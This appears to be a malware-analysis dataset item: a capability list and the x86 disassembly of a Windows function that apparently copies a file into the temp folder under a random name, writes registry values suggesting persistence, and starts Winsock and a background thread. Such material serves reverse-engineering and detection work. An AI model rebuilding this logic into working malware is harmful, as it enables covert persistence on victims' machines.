Function at 0x4028a0
Capabilities:
Create thread
Delete file
Get common file path
Initialize winsock library
Query or enumerate registry value
Read file on windows
Set registry value
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1120
call fcn.0041ca20
mov eax, dword [0x42a044]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [0x42c9b0], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x42c8e8
push 0x42c820
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0x7c0], eax
cmp dword [ebp - 0x7c0], 0
jne 0x402906
xor eax, eax
jmp 0x403563
xor edx, edx
mov word [ebp - 0xbe8], dx
push 0x206
push 0
lea eax, [ebp - 0xbe6]
push eax
call fcn.00417a20
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x9e0], cx
push 0x206
push 0
lea edx, [ebp - 0x9de]
push edx
call fcn.00417a20
add esp, 0xc
xor eax, eax
mov word [ebp - 0x7b8], ax
push 0x206
push 0
lea ecx, [ebp - 0x7b6]
push ecx
call fcn.00417a20
add esp, 0xc
xor edx, edx
mov word [ebp - 0x3a0], dx
push 0x206
push 0
lea eax, [ebp - 0x39e]
push eax
call fcn.00417a20
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x5b0], cx
push 0x206
push 0
lea edx, [ebp - 0x5ae]
push edx
call fcn.00417a20
add esp, 0xc
push 0x104
lea eax, [ebp - 0x9e0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0x106c], 0x4275fc
mov dword [ebp - 0x1070], 0x42e770
mov ecx, dword [ebp - 0x1070]
mov dx, word [ecx]
mov word [ebp - 0x1072], dx
mov eax, dword [ebp - 0x106c]
cmp dx, word [eax]
jne 0x402a2f
cmp word [ebp - 0x1072], 0
je 0x402a23
mov ecx, dword [ebp - 0x1070]
mov dx, word [ecx + 2]
mov word [ebp - 0x1074], dx
mov eax, dword [ebp - 0x106c]
cmp dx, word [eax + 2]
jne 0x402a2f
add dword [ebp - 0x1070], 4
add dword [ebp - 0x106c], 4
cmp word [ebp - 0x1074], 0
jne 0x4029c9
mov dword [ebp - 0x1078], 0
jmp 0x402a3a
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0x1078], ecx
mov edx, dword [ebp - 0x1078]
mov dword [ebp - 0x107c], edx
cmp dword [ebp - 0x107c], 0
je 0x40324a
mov dword [ebp - 0xbf8], 0
mov dword [ebp - 0xc04], 0x104
lea eax, [ebp - 0xbec]
push eax
push 0xf003f
push 0
push 0x427608
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402e37
lea ecx, [ebp - 0xc04]
push ecx
lea edx, [ebp - 0x5b0]
push edx
lea eax, [ebp - 0xbf8]
push eax
push 0
push 0x427674
mov ecx, dword [ebp - 0xbec]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x402e2a
xor edx, edx
mov word [ebp - 0x1028], dx
push 0x206
push 0
lea eax, [ebp - 0x1026]
push eax
call fcn.00417a20
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0xe18], cx
push 0x206
push 0
lea edx, [ebp - 0xe16]
push edx
call fcn.00417a20
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0x1028]
push eax
call fcn.00417a20
add esp, 0xc
lea ecx, [ebp - 0x5b0]
mov dword [ebp - 0x1080], ecx
lea edx, [ebp - 0x1028]
mov dword [ebp - 0x1084], edx
mov eax, dword [ebp - 0x1084]
mov dword [ebp - 0x1088], eax
mov ecx, dword [ebp - 0x1080]
mov dx, word [ecx]
mov word [ebp - 0x108a], dx
mov eax, dword [ebp - 0x1084]
mov cx, word [ebp - 0x108a]
mov word [eax], cx
mov edx, dword [ebp - 0x1080]
add edx, 2
mov dword [ebp - 0x1080], edx
mov eax, dword [ebp - 0x1084]
add eax, 2
mov dword [ebp - 0x1084], eax
cmp word [ebp - 0x108a], 0
jne 0x402b36
push 0x208
push 0
lea ecx, [ebp - 0xe18]
push ecx
call fcn.00417a20
add esp, 0xc
lea edx, [ebp - 0x1028]
mov dword [ebp - 0x1090], edx
lea eax, [ebp - 0xe18]
mov dword [ebp - 0x1094], eax
mov ecx, dword [ebp - 0x1094]
mov dword [ebp - 0x1098], ecx
mov edx, dword [ebp - 0x1090]
mov ax, word [edx]
mov word [ebp - 0x109a], ax
mov ecx, dword [ebp - 0x1094]
mov dx, word [ebp - 0x109a]
mov word [ecx], dx
mov eax, dword [ebp - 0x1090]
add eax, 2
mov dword [ebp - 0x1090], eax
mov ecx, dword [ebp - 0x1094]
add ecx, 2
mov dword [ebp - 0x1094], ecx
cmp word [ebp - 0x109a], 0
jne 0x402bb8
lea edx, [ebp - 0xe18]
add edx, 0xfffffffe
mov dword [ebp - 0x10a0], edx
mov eax, dword [ebp - 0x10a0]
mov cx, word [eax + 2]
mov word [ebp - 0x10a2], cx
add dword [ebp - 0x10a0], 2
cmp word [ebp - 0x10a2], 0
jne 0x402c0f
mov edi, dword [ebp - 0x10a0]
mov edx, dword [0x427684]
mov dword [edi], edx
mov eax, dword [0x427688]
mov dword [edi + 4], eax
mov ecx, dword [0x42768c]
mov dword [edi + 8], ecx
mov dword [ebp - 0xe1c], 0
lea edx, [ebp - 0x1028]
push edx
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0xe1c], eax
cmp dword [ebp - 0xe1c], 0
je 0x402d06
mov eax, dword [ebp - 0xe1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0xe18]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0xe1c], eax
mov dword [ebp - 0x102c], 0
lea edx, [ebp - 0x1028]
push edx
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0xe1c], eax
cmp dword [ebp - 0xe1c], 0
je 0x402d06
cmp dword [ebp - 0x102c], 5
jge 0x402d06
mov eax, dword [ebp - 0xe1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x102c]
add ecx, 1
mov dword [ebp - 0x102c], ecx
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402cb1
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x7b8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x5b0]
mov dword [ebp - 0x10a8], eax
mov ecx, dword [ebp - 0x10a8]
mov dword [ebp - 0x10ac], ecx
mov edx, dword [ebp - 0x10a8]
mov ax, word [edx]
mov word [ebp - 0x10ae], ax
add dword [ebp - 0x10a8], 2
cmp word [ebp - 0x10ae], 0
jne 0x402d3b
mov ecx, dword [ebp - 0x10a8]
sub ecx, dword [ebp - 0x10ac]
mov edx, dword [ebp - 0x10ac]
mov dword [ebp - 0x10b4], edx
mov dword [ebp - 0x10b8], ecx
lea eax, [ebp - 0x7b8]
add eax, 0xfffffffe
mov dword [ebp - 0x10bc], eax
mov ecx, dword [ebp - 0x10bc]
mov dx, word [ecx + 2]
mov word [ebp - 0x10be], dx
add dword [ebp - 0x10bc], 2
cmp word [ebp - 0x10be], 0
jne 0x402d89
mov edi, dword [ebp - 0x10bc]
mov esi, dword [ebp - 0x10b4]
mov eax, dword [ebp - 0x10b8]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x7b8]
add ecx, 0xfffffffe
mov dword [ebp - 0x10c4], ecx
mov edx, dword [ebp - 0x10c4]
mov ax, word [edx + 2]
mov word [ebp - 0x10c6], ax
add dword [ebp - 0x10c4], 2
cmp word [ebp - 0x10c6], 0
jne 0x402dda
mov edi, dword [ebp - 0x10c4]
mov ecx, dword [0x4276e0]
mov dword [edi], ecx
mov edx, dword [0x4276e4]
mov dword [edi + 4], edx
mov ax, word [0x4276e8]
mov word [edi + 8], ax
lea ecx, [ebp - 0x7b8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0xbec]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x208
push 0
lea eax, [ebp - 0x7b8]
push eax
call fcn.00417a20
add esp, 0xc
lea ecx, [ebp - 0x7b8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x208
push 0
lea edx, [ebp - 0x5b0]
push edx
call fcn.00417a20
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0041155b
add esp, 4
lea eax, [ebp - 0x5b0]
push eax
push 5
push 3
call fcn.00409050
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 0xbf4], edx
mov edx, dword [ebp - 0xbf4]
push edx
lea eax, [ebp - 0x5b0]
push eax
push 0x4276ec
lea ecx, [ebp - 0x5b0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov edx, dword [ebp - 0xbf4]
push edx
push 0x4276f8
lea eax, [ebp - 0x5b0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x5b0]
push ecx
lea edx, [ebp - 0x7b8]
push edx
push 0x427708
lea eax, [ebp - 0x7b8]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov dword [ebp - 0xbf0], 0
push 0x42771c
lea ecx, [ebp - 0x9e0]
push ecx
lea edx, [ebp - 0xbf0]
push edx
call fcn.00410b5c
add esp, 0xc
test eax, eax
je 0x402f47
xor eax, eax
jmp 0x403563
mov dword [ebp - 0xc0c], 0
push 2
push 0
mov eax, dword [ebp - 0xbf0]
push eax
call fcn.00411619
add esp, 0xc
mov ecx, dword [ebp - 0xbf0]
push ecx
call fcn.0041183b
add esp, 4
mov dword [ebp - 0xc0c], eax
push 0
push 0
mov edx, dword [ebp - 0xbf0]
push edx
call fcn.00411619
add esp, 0xc
mov eax, dword [ebp - 0xc0c]
add eax, 0x32000
push eax
call fcn.00411216
add esp, 4
mov dword [ebp - 0xbfc], eax
mov ecx, dword [ebp - 0xbf0]
push ecx
push 1
mov edx, dword [ebp - 0xc0c]
push edx
mov eax, dword [ebp - 0xbfc]
push eax
call fcn.00411b49
add esp, 0x10
mov ecx, dword [ebp - 0xbf0]
push ecx
call fcn.00410c26
add esp, 4
push 0x19000
mov edx, dword [ebp - 0xc0c]
mov eax, dword [ebp - 0xbfc]
lea ecx, [eax + edx + 0x19000]
push ecx
mov edx, dword [ebp - 0xbfc]
add edx, dword [ebp - 0xc0c]
push edx
call fcn.004182b0
add esp, 0xc
push 0x427724
lea eax, [ebp - 0x7b8]
push eax
lea ecx, [ebp - 0xbf0]
push ecx
call fcn.00410b5c
add esp, 0xc
test eax, eax
je 0x403028
xor eax, eax
jmp 0x403563
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x2710
div ecx
add edx, dword [ebp - 0xc0c]
mov dword [ebp - 0xc08], edx
mov edx, dword [ebp - 0xbf0]
push edx
push 1
mov eax, dword [ebp - 0xc08]
push eax
mov ecx, dword [ebp - 0xbfc]
push ecx
call fcn.00411cc8
add esp, 0x10
mov edx, dword [ebp - 0xbf0]
push edx
call fcn.00410c26
add esp, 4
mov dword [ebp - 0xc00], 0
lea eax, [ebp - 0xc00]
push eax
push 3
push 0
push 0x427730
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403127
lea ecx, [ebp - 0x9e0]
mov dword [ebp - 0x10cc], ecx
mov edx, dword [ebp - 0x10cc]
add edx, 2
mov dword [ebp - 0x10d0], edx
mov eax, dword [ebp - 0x10cc]
mov cx, word [eax]
mov word [ebp - 0x10d2], cx
add dword [ebp - 0x10cc], 2
cmp word [ebp - 0x10d2], 0
jne 0x4030b9
mov edx, dword [ebp - 0x10cc]
sub edx, dword [ebp - 0x10d0]
sar edx, 1
mov dword [ebp - 0x10d8], edx
mov eax, dword [ebp - 0x10d8]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x9e0]
push edx
push 1
push 0
push 0x42779c
mov eax, dword [ebp - 0xc00]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x403127
mov ecx, dword [ebp - 0xc00]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0xc00], 0
lea edx, [ebp - 0xc00]
push edx
push 3
push 0
push 0x4277a8
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4031dd
lea eax, [ebp - 0x5b0]
mov dword [ebp - 0x10dc], eax
mov ecx, dword [ebp - 0x10dc]
add ecx, 2
mov dword [ebp - 0x10e0], ecx
mov edx, dword [ebp - 0x10dc]
mov ax, word [edx]
mov word [ebp - 0x10e2], ax
add dword [ebp - 0x10dc], 2
cmp word [ebp - 0x10e2], 0
jne 0x40316f
mov ecx, dword [ebp - 0x10dc]
sub ecx, dword [ebp - 0x10e0]
sar ecx, 1
mov dword [ebp - 0x10e8], ecx
mov edx, dword [ebp - 0x10e8]
lea eax, [edx + edx + 2]
push eax
lea ecx, [ebp - 0x5b0]
push ecx
push 1
push 0
push 0x427814
mov edx, dword [ebp - 0xc00]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4031dd
mov eax, dword [ebp - 0xc00]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x4277a4
push 0x104
lea ecx, [ebp - 0x7b8]
push ecx
call fcn.004114de
add esp, 0xc
push 0x427824
push 0x104
lea edx, [ebp - 0x7b8]
push edx
call fcn.004114de
add esp, 0xc
lea eax, [ebp - 0xbe8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [ebp - 0xbe8]
push ecx
lea edx, [ebp - 0x7b8]
push edx
call fcn.004059c0
add esp, 8
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x198]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0x42e510
call fcn.00408d60
add esp, 8
mov dword [ebp - 0x3a8], eax
push 0x42dfc0
call fcn.00405b50
add esp, 4
mov dword [ebp - 0x7c4], eax
push 1
push 0x42e330
call fcn.00408d60
add esp, 8
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a8], 0
je 0x4032ac
mov dword [ebp - 0x7c4], 0
cmp dword [ebp - 0x7c4], 0
jne 0x403468
cmp dword [ebp - 0x3a4], 0
jne 0x403463
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402770
lea eax, [ebp - 0x5b0]
push eax
call fcn.004021f0
add esp, 4
lea ecx, [ebp - 0x5b0]
mov dword [ebp - 0x1114], ecx
mov dword [ebp - 0x1118], 0x42e6f0
mov edx, dword [ebp - 0x1118]
mov dword [ebp - 0x111c], edx
mov eax, dword [ebp - 0x1114]
mov cx, word [eax]
mov word [ebp - 0x111e], cx
mov edx, dword [ebp - 0x1118]
mov ax, word [ebp - 0x111e]
mov word [edx], ax
mov ecx, dword [ebp - 0x1114]
add ecx, 2
mov dword [ebp - 0x1114], ecx
mov edx, dword [ebp - 0x1118]
add edx, 2
mov dword [ebp - 0x1118], edx
cmp word [ebp - 0x111e], 0
jne 0x403499
push 0x42e6f0
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 0
je 0x403513
mov eax, dword [ebp - 0x7bc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x403563
push 0x42e6f0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 0
jne 0x403537
xor eax, eax
jmp 0x403563
push 0x42e130
call fcn.00403ad0
add esp, 4
push 0
push 0
push 0
push 0x402620
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42b8f0], eax
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004109d5
mov esp, ebp
pop ebp
ret